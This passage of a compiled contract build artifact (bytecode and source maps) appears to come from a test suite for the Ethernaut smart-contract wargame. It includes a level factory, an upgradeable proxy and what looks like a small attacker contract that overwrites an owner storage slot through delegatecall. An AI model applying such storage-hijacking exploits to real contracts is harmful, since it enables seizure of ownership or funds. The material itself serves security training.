51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610279565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102d8806103e483390190565b6001600160a01b038116811461028b575f80fd5b5f6020828403121561037f575f80fd5b813561038a8161035b565b9392505050565b5f80604083850312156103a2575f80fd5b82356103ad8161035b565b915060208301356103bd8161035b565b809150509250929050565b5f602082840312156103d8575f80fd5b815161038a8161035b56fe608060405234801561000f575f80fd5b506040516102d83803806102d883398101604081905261002e91610089565b5f80546001600160a01b039384166001600160a01b03199182161790915560018054929093169181169190911790915560028054909116331790556100ba565b80516001600160a01b0381168114610084575f80fd5b919050565b5f806040838503121561009a575f80fd5b6100a38361006e565b91506100b16020840161006e565b90509250929050565b610211806100c75f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033a264697066735822122024a80f7246e6a7cb8966222aa7557b8095124ebe37ff42c4b562ef8165bed23164736f6c634300081800336080604052348015600e575f80fd5b5060878061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b60396035366004603b565b5f55565b005b5f60208284031215604a575f80fd5b503591905056fea264697066735822122054cc42bda4d40361c35745312e36fbf52dd734c753eeb1e2c597d6ad1befd80764736f6c63430008180033608060405234801561000f575f80fd5b5060ca8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b607c6035366004607e565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f60208284031215608d575f80fd5b503591905056fea26469706673582212208e4121d5b2cc0088b1abc08987c9ef52a97254b2b24ed6ec042cdf2395eff31764736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201887ce927d5cd29c2d1964fa0364d4879fc4851195dbcba993e0e94597a1bf7364736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;427:1723:141;420:32:154;259:12:155;427:1723:141;420:32:154;410:43;382:71;;427:1723:141;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b6a565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bad565b620001b3620001fa36600462001c99565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d6c565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e2